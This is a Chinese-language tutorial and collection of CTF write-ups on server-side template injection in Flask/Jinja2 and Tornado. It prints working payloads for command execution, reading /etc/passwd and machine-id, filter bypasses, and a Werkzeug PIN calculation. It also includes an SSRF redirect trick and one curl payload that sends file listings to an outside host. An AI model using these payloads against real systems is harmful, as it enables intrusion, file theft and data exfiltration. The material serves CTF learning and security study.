SSTI--服务端模板注入
注入注入就是用户的输入数据没有被正确处理时,使得该数据成了程序段中的一部分与原程序一起执行,进而改变了原程序的执行逻辑。
主要涉及的模板:python:jinja2
、mako
、tornado
、django
;PHP:smarty
、twig
;Java:jade
、velocity
等相关运用渲染函数生成HTML
的时候会出现SSTI
问题。
SSTI
成因举例:(python下flask框架)
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
这段代码是典型的SSTI
漏洞,成因是由于:render_template_string()
函数在渲染模板时采用了%s
最为字符的动态替换,且由于Flask
框架使用jinja2
作为模板渲染引擎,且{{}}
在jinja2
中是作为变量标识符存在的,在其渲染时会将其中的内容当作变量解析替换,也即执行其中的代码。
SSTI
的原理很简单,就是利用非法的语句,将模板中的占位符替换掉,从而getshell
。
在了解下python
环境下触发SSTI
需要掌握的语法
常用函数
__class__
:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。是类的一个内置属性,表示类的类型,返回
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
>>> {}.__class__
<class 'dict'>
__bases__
:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!!
使用语法:类名.__bases__
__base__
:返回一个基类。
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
__mro__
:获取这个类的继承调用顺序,同样返回类元组。
// 返回的是一个类元组,可使用索引获取基类
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
class X(object):pass # X类继承于object
class Y(object):pass # Y类继承于object
class A(X, Y):pass # A类继承于X、Y
class B(Y):pass # B类继承于Y
class C(A, B):pass # C类继承于A、B
print C.__mro__
# (<class '__main__.C'>, <class '__main__.A'>,<class '__main__.X'>, <class '__main__.B'>, <class '__main__.Y'>, <type 'object'>)
__subclasses__()
:查看当前类的子类,即返回object的子类;返回一个列表,等同于object.__subclasses__()
。
>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, ......
<type 'MultibyteStreamWriter'>]
__import__()
:函数用于动态加载类和函数。如果一个模块经常变化就可以使用__import__()
来动态载入,就是import
。语法:__import__(name模块名)
__dict__
:类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类__dict__
里
__init__
类的初始化方法 (在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)
__globals__
:函数会以字典类型返回当前位置的全部全局变量与func_globals
等价
__builtins__
: 查看其引用( 其中包含了大量内置函数,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins
却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。 )
通过这些类继承的方法,我们就可以从任何一个变量,回溯到基类中去,再获得到此基类所有实现的类,就可以获得到很多的类。
一些常用的方法
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
利用方法
根据上面提到的类继承的知识,我们可以总结出一个利用方式(这也是python沙盒溢出的关键):从变量->对象->基类->子类遍历->全局变量这个流程中,找到我们想要的模块或者函数。
# example 是网上看的,拿来举例用
# 如何才能在python环境下,不直接使用open而来打开一个文件?
# 从任意一个变量中回溯到基类,再去获得基类实现的文件类就可以实现。
# python2
>>> ''.__class__
<type 'str'>
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>......]
# 查阅起来有些困难,来列举一下
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
......
# 可以发现索引号为40指向file类,此类存在open方法
>>> ''.__class__.__mro__[-1].__subclasses__()[40]("C:/Users/TPH/Desktop/test.txt").read()
'This is a test!'
常见可利用类
文件读取
方法一----子模块利用
存在的子模块可以通过.index()来进行查询,如果存在的话返回索引
>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40
flie
类:(在字符串的所属对象种获取str
的父类,在其object
父类种查找其所有子类,第41个为file类)
''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()
_frozen_importlib_external.FileLoader
类:(前置查询一样,其是第91个类)
''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")
方法二----通过函数解析->基本类->基本类子类->重载类->引用->查找可用函数
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件
命令执行
方法一----利用eval
进行命令执行
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
方法二----利用warnings.catch_warnings
进行命令执行
查看warnings.catch_warnings
方法的位置
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
查看linecatch
的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
查找os
模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
查找system
方法的位置(在这里使用os.open().read()
可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144
调用system
方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
方法三----利用commands
进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
遇到SSTI
题目时的思路,考虑查看配置文件或者考虑命令执行。
查配置文件
每个python框架都会内置一些全局变量,对象,函数等等,可以直接访问或调用。
例题-1
2018-护网杯-easy_tornado,这道题的核心就在于,tornado
框架提供了一个handler.settings
便捷访问配置文件的对象,其指向RequestHandler.application.settings
调用就可以获取当前application.settings
,从中获取敏感信息。
三个提示:
file?filename=/flag.txt&filehash=af201691a207d83b69942d2574b9302f
/flag.txt
flag in /fllllllllllllag
file?filename=/welcome.txt&filehash=beb7c79b77564784ecb60ef154dcffdb
/welcome.txt
render
file?filename=/hints.txt&filehash=e42fbe1f91929f2e9787eaef49e0c3c2
/hints.txt
md5(cookie_secret+md5(filename))
提示中一三很明显了,乍一看二挺懵的,但是经过了解可知,render
时tornado
模板中的一个渲染函数,那这可以确定是SSTI
了,不然别招也做不出来。
如上所说,该模板有一个handler.settings
,访问看看能不能套点敏感信息。
但是这里有个点是访问的请求时error?msg={{}}
花括号内为1时正常回显,输入其他时,大多出现500状态码,应该是被ban掉了。
算了,也不花里胡哨的了,就直接进设置瞅瞅吧。
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'd40086ea-69d3-4f80-b23a-12a72077e451'}
真实诚,直接给出了关键信息cookie_secret
,脚本一把梭:
md5('d40086ea-69d3-4f80-b23a-12a72077e451'.md5('/fllllllllllllag'))
a9f8006a3a4cc62e81dfce0b6538de80
结合文件名访问,getflag!
网站源码
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
"""
Author : Virink <virink@outlook.com>
Date : 2018-10-15 14:34:35
"""
import tornado.ioloop
import tornado.web
import hashlib
import os
import uuid
settings = {
"cookie_secret": str(uuid.uuid4()),
"compiled_template_cache": False,
'autoreload': True
}
files = {
"/welcome.txt": "render",
"/hints.txt": "md5(cookie_secret+md5(filename))",
"/flag.txt": "flag in /fllllllllllllag",
"/fllllllllllllag": os.environ['FLAG'],
}
def md5(x):
_md5 = hashlib.md5()
_md5.update(x)
return _md5.hexdigest()
def gen_hash(filename):
return md5(settings['cookie_secret']+md5(filename))
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write(
'<br/>'.join(
["<a href='/file?filename=%s&filehash=%s'>%s</a>" % (i, gen_hash(i), i) for i in files if 'lllllll' not in i]))
class FileHandler(tornado.web.RequestHandler):
def get(self):
filename = self.get_argument('filename', '')
filehash = self.get_argument('filehash', '')
for key in files:
if filename == key and filehash == gen_hash(key):
return self.write("%s<br>%s" % (key, files[key]))
self.redirect("/error?msg=Error", permanent=True)
class ErrorHandler(tornado.web.RequestHandler):
def get(self):
msg = self.get_argument('msg', 'Error')
bans = ["\"", "'", "[", "]", "_", "|", "import",
"os", "(", ")", "+", "-", "*", "/", "\\", "%", "="]
for ban in bans:
if ban in msg:
self.finish("ORZ")
with open("error.html", 'w') as f:
f.write("""<html>
<head>
<style>body{font-size: 30px;}</style>
</head>
<body>%s</body>
</html>\n""" % msg)
f.flush()
self.render("error.html")
def make_app():
return tornado.web.Application([
(r"/", MainHandler),
(r"/file", FileHandler),
(r"/error", ErrorHandler),
], **settings)
if __name__ == "__main__":
app = make_app()
app.listen(5000)
print("[+] http://127.0.0.1:5000/")
tornado.ioloop.IOLoop.current().start()
例题-2
westerns_2018_shrine,没想到SSTI
的题也有开局送源码的套路
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
源码中app.config['FLAG'] = os.environ.pop('FLAG')
提示flag
在配置文件中,但有WAF
;题目仍旧是flask
框架,主要考点在shrine
的限制函数,过滤了括号,还有黑名单。
题目中有两个路由第一个@app.route('/')
用来显示源码,第二个路由@app.route('/shrine/')
是在/shrine/
路径下提交参数 ,模板中设定{{ }}包括的内容为后端变量,% %包括的内容为逻辑语句。
经过最简单的测试,/shrine/{{7*7}}
返回值为49,说明是jinja2+flask
模板注入,原因如下图:
在config
没有过滤的情况下,可以直接传入config
获取设置信息;如果config
被ban
,还可以使用self.dict
获取信息;但现在二者都被ban
掉了,这个时候为获取信息, 仍需要用到一些变量或者函数,但是此时还过滤了括号,所以只能选在使用内置函数进行查询。
在带佬的wp引领下了解到python有两个此处可用的内置函数:url_for
和get_flashed_message
通过这两个函数,来查询现在app
内的全局变量。(get_flashed_messages
函数返回之前在Flask中通过flash()
传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages()
方法取出,闪现信息只能取出一次,取出后闪现信息会被清空。)
#http://192.168.32.138:65535/shrine/{{url_for.__globals__}}
#http://192.168.32.138:65535/shrine/{{get_flashed_messages.__globals__}}
{'find_package': <function find_package at 0x7feca7eea140>,
'_find_package_path': <function _find_package_path at 0x7feca7eea0c8>,
'get_load_dotenv': <function get_load_dotenv at 0x7feca7ee2a28>,
'_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>,
'current_app': <Flask 'app'>,
......
在第五行看到current_app
变量,且提示对应的就是当前app
,查看当前config
试试
#http://192.168.32.138:65535/shrine/{{url_for.__globals__['current_app'].config}}
#http://192.168.32.138:65535/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
<Config {
......
'FLAG': 'flag{Tr0jAn_V1rU4}',
......}>
命令执行
例题-3
一个无过滤啥也没有的基础SSTI
来自攻防世界。打开页面就告诉我们了是python template injection
模糊测试:证明存在模板注入。
http://127.0.0.1:8008/{{7*7}}
URL http://127.0.0.1:8008/49 not found
# 直接脚本构造payload
{% for c in ''.__class__.__base__.__subclasses__() %}{% if 'os' in c.__init__.__globals__ %}{{ c.__init__.__globals__['os'].popen('whoami').read() }}{% endif %}{% endfor %}
自己写这个payload也能执行,但是问题出在for循环无法停止,查了几篇文章,好像带佬们都没遇到这个问题。看wp种大多数都是已知某个类中的某个对象可以调用os
模块从而直接利用,还是菜了。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
页面源码:
from flask import Flask, request, render_template_string
import urllib.request, urllib.parse
app = Flask(__name__)
@app.route("/")
def hello():
return "python template injection"
@app.errorhandler(404)
def page_not_found(error):
url = urllib.parse.unquote(request.url)
return render_template_string("<h1>URL %s not found</h1><br/>" % url), 404
if __name__ == '__main__':
app.run(debug=False, host='127.0.0.1', port=8000)
例题-4
miniL Personal_IP_Query 前段时间西电的校赛,这是一道SSTI
加了一些过滤可以来思考思考,学习学习思路了。
打开页面就显示我的IP
地址,属实有点懵圈,但直觉告诉我得抓包瞅瞅了。加了一个XFF
头就可以控制了,但是好像没什么卵用......秃然,意外发现,我少打了一个点,它就没有更改直接显示,说明参数不局限于IP
地址,继续挖掘。
当我输入1+1时,显示hacker!!!Get out!!!
有点意思,抬眼一瞅,看到Server:gunicorn/20.0.4
,诶?这不是python嘛!凭借我博(贫
)学(瘠
)的知识储备,立刻就判断出这有可能是SSTI
!(就没了解过几个python漏洞......
)
模糊测试:
X-Forwarded-For: {{7*7}}
Your IP: 49
十分优秀,SSTI
实锤!继而查config
没有什么有用的信息,那就命令执行,不过这次没有像之前一样,放任自流,它加了些过滤,针对性fuzz
一波:' " _
被过滤掉了......陷入困境......
看了看佬佬的贴子,学到了新技能 flag0师傅、evi0s师傅、byc_404。
利用[request.args.x1]
:
GET /?x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=popen&x7=cat+/flag HTTP/1.1
X-Forwarded-For: {{[][request.args.x1][request.args.x2][request.args.x3]()[127][request.args.x4][request.args.x5][request.args.x6](request.args.x7).read()}}
全是中括号替换,附一个小脚本用来筛查所有子类回显中,目标子类所在位置。
import re
string = '''(回显中所有类)'''
ClassList = re.split(",", string)
for i in range(0, len(ClassList)):
print(i, ClassList[i])
if 'os._wrap_close' in ClassList[i]:
print(i)
break
看了wp
之后又学到一个新姿势:
GET /?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}
其他组合拳----SQL注入+SSTI
例题-5
科来杯-easy_flask
这个题没有找到可复现的地址,有兴趣的小伙伴可以自己查wp
,由于没有加过滤这个题就是一个思路问题,其余并不难。
例题-6
安恒八月七夕赛-ezflask
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)
@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''
<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
这个过滤很安恒,十分的严密,甚至attr
也过滤了,也没法利用__getattribute__
编码绕过,当时完全没思路,后来看了颖奇师傅的思路才知道是利用__globals__
,上payload
:
# Author:颖奇L'Amore
{% set xhx = (({ }|select()|string()|list()).pop(24)|string()) %} # _
{% set spa = ((app.__doc__|list()).pop(102)|string()) %} #空格
{% set pt = ((app.__doc__|list()).pop(320)|string()) %} #点
{% set yin = ((app.__doc__|list()).pop(337)|string()) %} #单引号
{% set left = ((app.__doc__|list()).pop(264)|string()) %} #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string()) %} #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349) %} #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %} #builtins
{% set im = dict(imp=aa,ort=dd)|join() %} #import
{% set sy = dict(po=aa,pen=dd)|join() %} #popen
{% set os = dict(o=aa,s=dd)|join() %} #os
{% set ca = dict(ca=aa,t=dd)|join() %} #cat
{% set flg = dict(fl=aa,ag=dd)|join() %} #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join() %} #read
{% set bul = xhx*2~bu~xhx*2 %} #__builtins__
# 拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %}
{% for f,v in y1ng.__init__.__globals__.items() %} #globals
{% if f == bul %}
{% for a,b in v.items() %} #builtins
{% if a == ev %} #eval
{{b(pld)}} #eval(pld)
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
这个payload
虽不复杂,但是不仅涉及了基础的Flask
模板注入,还用到了Flask
的过滤器,这里拓展一下。
Flask过滤器
flask过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤,可以参考php伪协议中的php://filter
协议,这里就不赘述了
1.使用方式
变量|过滤器
variable|filter(args)
variable|filter //如果过滤器没有参数可以不加括号
2.与php://filter相同,都支持链式过滤;
3.列举一下常用的过滤器(不是所有过滤器,只是一部分相对常用的):
int()
:将值转换为int类型;
float()
:将值转换为float类型;
lower()
:将字符串转换为小写;
upper()
:将字符串转换为大写;
title()
:把值中的每个单词的首字母都转成大写;
capitalize()
:把变量值的首字母转成大写,其余字母转小写;
trim()
:截取字符串前面和后面的空白字符;
wordcount()
:计算一个长字符串中单词的个数;
reverse()
:字符串反转;
replace(value,old,new)
: 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False)
:截取length长度的字符串;
striptags()
:删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()
或e
:转义字符,会将<
、>
等符号转义成HTML
中的符号。显例:content|escape
或content|e
。
safe()
: 禁用HTML
转义,如果开启了全局转义,那么safe
过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}
;
list()
:将变量列成列表;
string()
:将变量转换成字符串;
join()
:将一个序列中的参数值拼接成字符串。示例看上面payload
;
abs()
:返回一个数值的绝对值;
first()
:返回一个序列的第一个元素;
last()
:返回一个序列的最后一个元素;
format(value,arags,*kwargs)
:格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length()
:返回一个序列或者字典的长度;
sum()
:返回列表内数值的和;
sort()
:返回排序后的列表;
default(value,default_value,boolean=false)
:如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')
----如果name不存在,则会使用xiaotuo
来替代。boolean=False
默认是在只有这个变量为undefined
的时候才会使用default
中的值,如果想使用python
的形式判断是否为false
,则可以传递boolean=true
。也可以使用or
来替换。
例题-7
GACTF simpleflask
, 经典的SSTI
题目,是新版本的werkzurg
,需要用新版本的PIN码。但我当时是非预期直接读取的。
# 直接读取
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.open("/etc/passwd").read()}}
# flag关键字绕过
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.open("/f""lag").read()}}
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.open("/FLAG".lower()).read()}}
# pin码
# machine-id_1
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}
# machine-id_2
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}
# user 就是root
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}
# MAC 地址
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}
import hashlib
from itertools import chain
probably_public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/dist-packages/flask/app.py'
]
private_bits = [
'2485378088968',
'a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
源码如下:
from flask import flask, request, render_template_string, redirect, abort
import string
app = flask(__name__)
white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
"end", "os", "eval", "request", "write",
"mro", "compile", "execfile", "exec",
"subprocess", "importlib", "platform", "timeit",
"import", "linecache", "module", "getattribute",
"pop", "getitem", "decode", "popen",
"ifconfig", "flag", "config"]
def check(s):
# print(len(s))
if len(s) > 131:
abort(500, "hacker")
# abort(500, "hacker len")
for i in s:
if i not in white_list:
abort(500, "hacker")
# abort(500, "hacker white")
for i in black_list:
if i in s:
abort(500, "hacker")
# abort(500, "hacker black")
@app.route('/', methods=["post"])
def hello_world():
try:
name = request.form["name"]
except exception:
return render_template_string("<h1>request.form[\"name\"]<h1>")
if name == "":
return render_template_string("<h1>hello world!<h1>")
check(name)
template = '<h1>hello {}!<h1>'.format(name)
res = render_template_string(template)
if "flag" in res:
abort(500, "hacker")
return res
if __name__ == '__main__':
app.run(host="0.0.0.0", debug=true)
例题-8
GACTF EZFLASK
,开局提示性源码
#- * -coding: utf - 8 - * -
from flask
import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
hint = xxxx# hints
trick = xxxx# trick
return trick
@app.route('/')
def index(): #app.txt
@app.route('/eval', methods = ["POST"])
def my_eval(): #post eval
@app.route(xxxxxx, methods = ["POST"])# Secret
def admin(): #admin requests
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 8080)
可以操作的只有eval
下的eval
参数,但是题目的WAF
非常复杂,过滤了非常多的内容,{}[]()''
都被过滤了,好的是.
和_
还在。首先发现没有过滤__globals__
,传入得到以下信息:
也得到了admin
的路由,看到了疑似SSRF
的提示,但是没得到端口,无法走下一步,卡死在这儿,后来根据带佬的提示,用到了python的魔术常量。
example
def test(x):
i = None
t = x
a = 1
b = 2
c = 3
d = x + 3
print("co_consts:", test.__code__.co_consts)
# co_consts: (None, 1, 2, 3)
得到了函数内的常量值,用这个方法可以读出题中各个路由的常量值,换言之就是可以读到WAF
,我问大哥是怎么猜到用修饰器查看常量的,他是说是在/ctfhint
路由下看到返回值是trick,且看起来是常量,再结合之前在TJCTF 2018
也见过一个利用co_consts
来进行沙箱逃逸看WAF
的。所以传入ctf.__code__.co_consts
或者ctf.func_code.co_consts
成功的读取到了ctf
函数内的数据,得到了admin
的路由以及提示信息。
# ctf.__code__.co_consts || ctf.func_code.co_consts
(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple')
# admin.__code__.co_consts || admin.func_code.co_consts
(None, 'ip', 'port', 'path', 'port ip=x.x.x.x&port=xxx => http://ip:port/path', 4, 'hacker?', 'http://{}:{}/{}', 'timeout', 2, 'requests error')
# admin.__code__.co_names
('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')
admin
路由下给了提示post ip=x.x.x.x&path=xxx => http://ip:port/path
,通过__code__
读取waf_ip
,看到以下内容被ban
:
('0.0', '192', '172', '10.0', '233.233', '1234567890.', 15, '.', 4)
127.0.0.0/8
除了127.0.0.1
是loopback
以外其他都被保留了,然后网络设备见到127.0.0.0/8
都会以127.0.0.1
来对待,所以只要127.x.x.x
即可绕过。
然后结合提示访问到5000端口,又是一个flask
:
import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
看到了flag
在config
里,但是path
又过滤了不少玩意儿,属实是有点点恶心;这里有三种方法:
法一:特殊函数绕WAF
# path:过滤了包括 ( ) " , + % 在内的很多符号。但是app,global没有被过滤掉,所以可以构造如下payload
?ip=127.0.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000
?ip=127.0.1.1&path={{get_flashed_messages.__globals__['current_app'].__dict__}}&port=5000
法二:302跳转
因为IP
把`127.0.0.1 ban
掉了,所以可以在自己vps
上写跳转页面到127.0.0.1:5000
。
<?php
header("Location:http:..127.0.0.1:5000/");
?>
然后利用SSRF
访问vps
,也可以跳转内网。
?ip=(vps地址)&port=8080&path=
再把php脚本做简单修改就可以查看配置文件:
<?php
header("Location: http://127.0.0.1:5000/{{config}}");
# header("Location: http://127.0.0.1:5000/{{config.items()}}");
?>
补充各种花式绕过
绕过中括号
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过
过滤引号
request.args
是flask中的一个属性,为返回请求的参数,这里把path
当作变量名,将后面的路径传值进来,进而绕过了引号的过滤
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
过滤双下划线
同样利用request.args
属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args
改为request.values
则利用post的方式进行传参
GET值:
{{''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]()'/etc/passwd').read()}}
POST值:
class=__class__&mro=__mro__&subclasses=__subclasses__
过滤关键字
base64编码绕过__getattribute__
使用实例访问属性时,调用该方法
例如被过滤掉__class__
关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
同时绕过下划线、与中括号
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
绕过.过滤
若.
也被过滤,使用原生jinja2
函数|attr()
将request.__class__
改成request|attr("__class__")
过滤{{
使用 {% if ... %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}1{% endif %}
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
过滤config
、request
以及class
在官方文档中有一个session
对象,session
是一个dict
对象,因此我们可以通过键的方法访问相应的类。由于键是一个字符串,因此可以通过字符串拼接绕过。payload:{{ session['__cla'+'ss__'] }}
即可绕过过滤访问到类,进而访问基类等,执行命令。
过滤config
、request
、class
、__init__
、file
、__dict__
、__builtines__
、__import__
、getattr
以及os
python3
中有一个__enter__
方法,也有__globals__
方法可用,而且与__init__
一模一样。
__init__
(allocation of the class)__enter__
(enter context)__exit__
(leaving context)
__enter__
